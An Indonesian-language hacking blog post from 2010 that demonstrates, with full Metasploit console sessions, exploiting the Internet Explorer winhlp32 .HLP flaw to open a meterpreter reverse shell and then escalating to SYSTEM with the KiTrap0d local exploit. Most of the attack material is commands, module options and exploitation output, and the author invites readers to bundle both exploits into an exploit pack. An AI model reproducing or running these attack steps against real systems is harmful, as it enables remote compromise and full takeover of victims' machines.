Posted by kecoak on Mar 6, 2010

Malicious .hlp, kiTrap0d, system shell

Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,

It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is a stack overflow vulnerability in winhlp32.exe

Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’.

Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,

MsgBox(prompt[,buttons][,title][,helpfile,context])

Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,




PoC tersebut dapat dilihat dari sini.

Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada 184.73.14.110PUBLICtest.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.

Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.

Saat ini 184.73.14.110PUBLICtest.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’.

Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam ‘browser exploitaion’.

Berikut ini contoh penggunaannya,

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _  / _  __/ _` / __| '_ | |/ _ | | __|
| | | | | |  __/ || (_| __  |_) | | (_) | | |_
|_| |_| |_|___|____,_|___/ .__/|_|___/|_|__|
                            | |
                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 531 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
       =[ svn r8724 updated today (2010.03.05)

msf exploit(ie_winhlp32) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.2.104    yes       The local address
   LPORT     4444             yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_winhlp32) > exploit
[*] Exploit running as background job.
msf exploit(ie_winhlp32) >
[*] Started reverse handler on 192.168.2.104:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.2.104:80/
[*] Server started.

msf exploit(ie_winhlp32) >
[*] Request for "/" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1367
[*] Using 192.168.2.104pXdaQozNqOZdxWwnxWuR8K.hlp ...
[*] Sending HTML page to 192.168.2.105:1367...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending HLP multistatus for /pXdaQozNq/OZdxWwnxWuR8K.hlp ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending HLP to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.ANN ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.GID ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.CNT ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.FTG ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Sending 404 for PUT /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending EXE multistatus for /pXdaQozNq/calc.exe ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/shell32.dll ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending EXE to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/rsaenh.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/%1 ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Manifest ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Config ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/ws2_32.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/WS2HELP.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/hnetcfg.dll ...
[*] Sending stage (747008 bytes)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/crypt32.dll ...
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.105:1371)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/IPHLPAPI.DLL ...

msf exploit(ie_winhlp32) > sessions

Active sessions
===============
  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.2.104:4444 -> 192.168.2.105:1371

msf exploit(ie_winhlp32) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: XPSP2user

Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).

Exploit ini dapat digunakan pada feature ‘browser autopwn’-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.

Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas :).

Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari sini, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable).

Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami ‘fungsi’-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.

Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi.

Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:

meterpreter > getuid
Server username: XPSP2user

Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya ‘user’) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator.

Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses ‘system’ jika paylod yang digunakan adalah meterpreter. Berikut ini contoh nya,

meterpreter > getuid
Server username: XPSP2user
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer: XPSP2
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > run kitrap0d
[*] Currently running as XPSP2user

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:DOCUME~1userLOCALS~1TempfEiMXC.exe...
[*] Uploading vdmallowed to C:DOCUME~1userLOCALS~1Tempvdmexploit.dll...
[*] Escalating our process (PID:1948)...

[*] Received WebDAV PROPFIND request from 192.168.2.105:1372
[*] Sending 404 for /pXdaQozNq/cmd.exe ...
'192.168.2.104pXdaQozNq'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- [email protected] ---

[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => [email protected]
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x2890a bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:WINDOWStwunk_16.exe") => 300
[?] OpenProcess(300) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITYSYSTEM
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

meterpreter >

Well, that’s the lesson for tonight folks. Don’t care from which side you are from, goodboy and badboy can use metasploit for evil thing. Use your own creativity to get more and more from opensource product (anyone interested to put above two into ‘sploit pack’? :p).

Have a nice weekend.

Post a Comment

2 Responses to “Malicious .hlp, kiTrap0d, system shell”

  1. pak made…
    saya ede mahasiswa gunadarma…

    jujur saya ga terlalu paham bahkan ga ngerti…

    maklum..belom dapet ilmunya…

    kalo sempet mampir k blog saya ya pa…

    ede

  2. pam says:

    masih kurang paham

Trackbacks/Pingbacks

  1. Kecoak Elektronik Indonesia » Blog Archive » No, we never host trojan - [...] Comments izza on Apparently, we need somethin fresh…WormArchive[dot]COM on Malicious .hlp, kiTrap0d, system shellandre on Apparently, we need somethin…
  2. Malicious .Hlp, kiTrapod, System Shell « Poetoe DeVoicey - [...] Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax…

Leave a Reply

Your email address will not be published. Required fields are marked *